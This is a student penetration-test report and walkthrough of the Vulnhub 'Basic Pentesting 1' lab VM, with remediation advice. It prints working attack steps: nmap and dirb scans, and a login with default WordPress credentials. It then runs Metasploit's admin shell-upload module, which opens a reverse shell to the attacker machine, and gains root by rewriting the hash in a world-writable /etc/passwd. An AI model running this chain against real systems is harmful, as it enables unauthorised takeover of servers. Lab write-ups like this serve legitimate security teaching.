Basic Pentesting 1 — Vulnhub

Alexander Hoffmann - alexander.hoffmann@edu.ece.fr
Ludovic Fritel - ludovic.fritel@edu.ece.fr
Vincent Cadenet - vincent.cadenet@edu.ece.fr

Executive summary

Our team conducted a comprehensive security assessment of a small boot2root Vulnhub VM in order to determine existing vulnerabilities and establish the current level of security risk associated with the environment and the technologies in use.

Test scope

The test scope for this engagement included one host on a virtual machine connected to a local network containing a web application.

Testing was performed March 27 – March 29, 2020.

Testing was performed using industry-standard penetration testing tools and frameworks, including Nmap, DIRB, the Metasploit Framework, WPScan. All of these tools are contained in the Kali VM.

Results

The table below includes the scope of the tests performed, as well as the overall results of penetration testing these environments.

Environment tested	Result
Web application	Critical
Server	Critical

To test the security posture of the internal network, we began with a reconnaissance and host discovery phase during which we used port scans and other OSINT tools to fingerprint the operating systems, software, and services running on the target host. After fingerprinting the various targets and determining open ports and services enabled on the host, we executed a vulnerability enumeration phase, in which we listed all potential vulnerabilities affecting the host and developed a list of viable attack vectors. Finally, in order to weed out false positives and validate any remaining vulnerabilities, we attempted to exploit all vulnerabilities affecting the target host. After comprehensive testing, critical vulnerabilities were discovered to be present in the target host, and we were ultimately able to exploit these issues to compromise the confidentiality, integrity, and availability of the host.

Multiple Critical severity issues were found affecting the host on the network, which require immediate remediation efforts in order to secure the machine against malicious attackers.

Recommendations

The following recommendations provide direction on improving the overall security posture of the host and critical applications:

1. Ensure that the credentials protecting the WordPress Admin dashboard on host 192.168.56.5 are of suitable complexity to prevent brute force attacks. More

specifically, increase the strength of the password for the “admin” administrator account on the web app.
2. Restrict write permissions on the /etc/passwd file to root only.
3. Restrict access to the FTP service on host 192.168.56.5.

Testing approach

Overview

All testing was executed in several related phases.

1. In the planning phase, the rules of engagement were identified, scope of testing and test windows were agreed upon, and testing goals were set.
2. The discovery phase included automated vulnerability scanning along with manual testing to explore and understand the testing target and any vulnerabilities that could be detected by automated tools.
3. The attack phase comprised efforts to exploit any vulnerabilities detected, and to synthesize knowledge gained about the environment, its technology, its users and its function into an escalation of privilege beyond that intended by the customer.
4. The final phase recorded all findings in a manner that supports risk assessment and remediation. This included the writing of this report.

Scope

Before starting our penetration tests, let's establish the architecture of our network. The target machine is connected to a host-only adapter on the network `192.168.56.0/24`. Its IP address is `192.168.56.5`. The Kali VM has two network interfaces. The first one is connected to the same host-only adapter as the target machine and has the IP address `192.168.56.6`. The second interface is a bridge adapter which connects the VM to the same network as the host machine. This is necessary to have an active internet connection on the Kali VM. An alternative would have been to use a NAT network for this interface. Both methods are viable.

Enumeration

First, start with an nmap scan.

```
nmap -p- -sS -Pn -n -vvv -oA nmap-host-ports 192.168.56.5
```

Which yields the following result:

```
# Nmap 7.80 scan initiated Sat Mar 28 14:33:36 2020 as: nmap -p- -sS -Pn -n -vvv -oA nmap-host-ports 192.168.56.5
Nmap scan report for 192.168.56.5
Host is up, received arp-response (0.000059s latency).
Scanned at 2020-03-28 14:33:36 EDT for 4s
Not shown: 65532 closed ports
Reason: 65532 resets
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 64
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 08:00:27:DC:6B:9A (Oracle VirtualBox virtual NIC)
```

```
Read data files from: /usr/bin/../share/nmap
# Nmap done at Sat Mar 28 14:33:40 2020 -- 1 IP address (1 host up) scanned in 3.49
seconds
```

Observe three open ports: ftp, ssh and http. We probably need a login for ssh. Therefore, let's try to open a web browser and access both ftp and http protocols.

If we type `ftp://192.168.56.5` in the browser, we get prompted with a login screen. Hence, we know that a login will be necessary both for ssh and for ftp.

Now, type `http://192.168.56.5` in the browser. This time, we get a simple HTML page. The idea is now to determine all URLs with the given prefix. To do this, we use a tool called Dirb.

```
dirb http://192.168.56.5/ -r
```

This is the output:

```
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sat Mar 28 15:00:16 2020
URL_BASE: http://192.168.56.5/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Not Recursive

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.56.5/ ----
+ http://192.168.56.5/index.html (CODE:200|SIZE:177)
==> DIRECTORY: http://192.168.56.5/secret/
+ http://192.168.56.5/server-status (CODE:403|SIZE:300)

-----------------
END_TIME: Sat Mar 28 15:00:18 2020
DOWNLOADED: 4612 - FOUND: 2
```

There are three results. The first one, index.html is just the landing page we already see on the screen. The second one is a server status page (supposedly) which we do not have access to (code 403). Finally, let's checkout `http://192.168.56.5/secret`.

We land on a page that seems to be a Wordpress blog. Most links on the page lead to the URL with the prefix `vtcsec`. Add a new host to /etc/hosts binding `vtcsec` to the IP address `192.168.56.5`.

Now, launch a new DIRB scan. This time, we scan recursively. This means the /secret, which is a directory, is going to be brut forced too. This time, we find an admin login page. We are can confirm that this is a Wordpress blog. Try user:admin password:admin. These credentials work. We get prompted the WP admin dashboard.

Penetration

We currently have access to a WordPress Admin Dashboard. Therefore, we will use Metasploit's WordPress Admin Shell Upload exploit. This module will generate a plugin, pack the payload into it and upload it to a server running WordPress providing valid admin credentials are used.

```
msf5 > use exploit/unix/webapp/wp_admin_shell_upload
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME admin
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD admin
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set RHOST 192.168.56.5
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set TARGETURI secret
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set LHOST 192.168.56.6
msf5 exploit(unix/webapp/wp_admin_shell_upload) > exploit
```

It is necessary to set the local host because the default interface on the Kali VM is the bridged adapter.

We now have a shell as www-data. Upload unix-privesc-check, a shell script to check for simple privilege escalation vectors on Unix systems.

```
meterpreter > upload /usr/bin/unix-privesc-check
meterpreter > shell
chmod +x unix-privesc-check
./unix-privesc-check standard > out.txt
```

After reading the file out.txt, it appears that /etc/passwd is a critical file because any user has write permission. Therefore, we can change the password for the root user.

```
openssl passwd
Password: alex
Verifying - Password: alex
QOUne5kzinD0M
```

Edit the following line

```
root:QOUne5kzinD0M:0:0:root:/root:/bin/bash
```

Now, we can login to the VM using user:root, password:alex. Check user with `whoami`. It should prompt root.